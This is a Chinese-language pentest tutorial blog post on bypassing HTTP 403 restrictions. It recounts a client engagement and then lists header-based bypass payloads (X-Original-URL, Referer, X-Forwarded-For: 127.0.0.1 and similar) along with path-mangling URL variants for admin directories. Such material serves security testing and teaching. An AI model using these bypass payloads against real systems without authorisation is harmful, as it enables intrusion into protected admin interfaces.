网站首页 > 技术教程 正文
做渗透时经常会碰到扫到的资产403的情况,特别是资产微乎其微的情况下,面试有时也会问到。
一次接到客户的一个需求,后台管理地址(https://xxx.xxxx.com)仅允许工作区公网出口访问,对于IP的访问限制是否存在缺陷可以绕过,外网进行访问返回403状态码。
利用姿势
1.端口利用
故事扫描主机端口,找其它开放web服务的端口,访问其端口,挑软柿子。
实战
姿势一: 端口利用
拿到客户给的地址后,首先进行信息收集。端口信息收集,利用nmap进行全端口探测,发现除了80端口之外,还开放了一个web服务的8001端口,我们尝试使用8001端口访问(https://xxx.xxxx.com:8001),总是充满惊喜。可直接绕过IP限制进行访问。怕是这个运维要挨锤了,立马把这个问题,反馈给客户。
https://iamadmixxx.xxx.xxx:8001/auth/login
通过沟通,由于疏忽未下线8001端口,客户貌似认为这个很简单,关闭8001端口,下线业务后,让我们继续尝试后台能否绕过。
姿势二:修改HOST
我们先说下Host在请求头中的作用,在一般情况下,几个网站可能会部署在同一个服务器上,或者几个 web 系统共享一个服务器,通过host头来指定应该由哪个网站或者web系统来处理用户的请求。
而很多WEB应用通过获取HTTP HOST头来获得当前请求访问的位置,但是很多开发人员并未意识到HTTP HOST头由用户控制,从安全角度来讲,任何用户输入都是认为不安全的。
当服务器获取HOST的方式不当时,我们可以通过修改Host值来进行绕过。首先对该目标域名进行子域名收集,整理好子域名资产(host字段同样支持IP地址)。先Fuzz测试跑一遍收集到的子域名,这里使用的是Burp的Intruder功能。
往往成功也离不开运气,看到一个服务端返回200的状态码。成功找到一个在HOST白名单中的子域名。我们利用firefox插件来修改HOST值,成功绕过访问限制。
另辟蹊径,效果越出彩,而且技巧也远远不止上面提到的一小部分。
在这里我们总结一下403绕过技巧
姿势三:覆盖请求URL
尝试使用X-Original-URL和X-Rewrite-URL标头绕过Web服务器的限制。
介绍:通过支持X-Original-URL和X-Rewrite-URL标头,用户可以使用X-Original-URL或X-Rewrite-URL HTTP请求标头覆盖请求URL中的路径,尝试绕过对更高级别的缓存和Web服务器的限制。
示例:
Request
GET /auth/login HTTP/1.1
Response
HTTP/1.1 403 Forbidden
Reqeust
GET / HTTP/1.1
X-Original-URL: /auth/login
Response HTTP/1.1 200 OK
or
Reqeust
GET / HTTP/1.1
X-Rewrite-URL: /auth/login
Response
HTTP/1.1 200 OK
Burp学院实验室进行演示,首先普通用户访问admin页面会被限制,要使用admin用户登录才行。点击 管理面板(Admin panel)burp抓包查看,服务端返回403,”Access denied”禁止访问。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qRYtbD89-1650755794491)(data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQImWNgYGBgAAAABQABh6FO1AAAAABJRU5ErkJggg==)]
在Header头中添加X-Original-URL标头,发现已经有权限可以删除Administrator、carlos、wiener 帐号的管理员权限。
姿势四:Referer标头绕过
尝试使用Referer标头绕过Web服务器的限制。
介绍:Referer 请求头包含了当前请求页面的来源页面的地址,即表示当前页面是通过此来源页面里的链接进入的。服务端一般使用 Referer 请求头识别访问来源。
示例:
Request
GET /auth/login HTTP/1.1
Host: xxx
Response
HTTP/1.1 403 Forbidden
Reqeust
GET / HTTP/1.1
Host: xxx
ReFerer:https://xxx/auth/loginResponseHTTP/1.1 200 OK
or
Reqeust
GET /auth/login HTTP/1.1
Host: xxx
ReFerer:https://xxx/auth/login
Response
HTTP/1.1 200 OK
Burp学院实验室进行演示,使用非管理员凭据登录后,浏览/admin-roles?username=carlos&action=upgrade 服务端返回401未进行认证,无权限访问。
在Header头中添加Referer标头,服务端提示302表示请求成功,使用Referer标头绕过Web服务器的限制。
姿势五:代理IP
一般开发者会通过Nginx代理识别访问端IP限制对接口的访问,尝试使用 X-Forwarded-For、X-Forwared-Host等标头绕过Web服务器的限制。
- X-Originating-IP: 127.0.0.1
- X-Remote-IP: 127.0.0.1
- X-Client-IP: 127.0.0.1
- X-Forwarded-For: 127.0.0.1
- X-Forwared-Host: 127.0.0.1
- X-Host: 127.0.0.1
- X-Custom-IP-Authorization: 127.0.0.1
示例
Request
GET /auth/login HTTP/1.1
Response
HTTP/1.1 401 Unauthorized
Reqeust
GET /auth/login HTTP/1.1
X-Custom-IP-Authorization: 127.0.0.1
Response
HTTP/1.1 200 OK
姿势六:扩展名绕过
基于扩展名,用于绕过403受限制的目录。
site.com/admin => 403
site.com/admin/ => 200
site.com/admin// => 200
site.com//admin// => 200
site.com/admin/* => 200
site.com/admin/*/ => 200
site.com/admin/. => 200
site.com/admin/./ => 200
site.com/./admin/./ => 200
site.com/admin/./. => 200
site.com/admin/./. => 200
site.com/admin? => 200
site.com/admin?? => 200
site.com/admin??? => 200
site.com/admin..;/ => 200
site.com/admin/..;/ => 200
site.com/%2f/admin => 200
site.com/%2e/admin => 200
site.com/admin%20/ => 200
site.com/admin%09/ => 200
site.com/%20admin%20/ => 200
猜你喜欢
- 2024-10-02 网络请求返回HTTP状态码(404,400,500)
- 2024-10-02 那些代表性的HTTP状态码,你还只知道404吗?快来看看吧
- 2024-10-02 重温HTTP,你到底做了什么? 重温张柏芝引用2008
- 2024-10-02 最近发现室友看电脑鬼鬼祟祟,利用python几行代码窥探室友电脑
- 2024-10-02 Kong Gateway 身份验证 gateway登录验证
- 2024-10-02 如何正确认识 HTTP 正确认识自己心理健康教案
- 2024-10-02 HTTP请求状态码 请求失败状态码为412
- 2024-10-02 一文读懂HTTP常见状态码 http常见状态码
- 2024-10-02 http 请求方法以及返回状态码的类型和含义
- 2024-10-02 HTTP状态码常见的网站错误代码大全
你 发表评论:
欢迎- 最近发表
- 标签列表
-
- sd分区 (65)
- raid5数据恢复 (81)
- 地址转换 (73)
- 手机存储卡根目录 (55)
- tcp端口 (74)
- project server (59)
- 双击ctrl (55)
- 鼠标 单击变双击 (67)
- debugview (59)
- 字符动画 (65)
- flushdns (57)
- ps复制快捷键 (57)
- 清除系统垃圾代码 (58)
- web服务器的架设 (67)
- 16进制转换 (69)
- xclient (55)
- ps源文件 (67)
- filezilla server (59)
- 句柄无效 (56)
- word页眉页脚设置 (59)
- ansys实例 (56)
- 6 1 3固件 (59)
- sqlserver2000挂起 (59)
- vm虚拟主机 (55)
- config (61)
本文暂时没有评论,来添加一个吧(●'◡'●)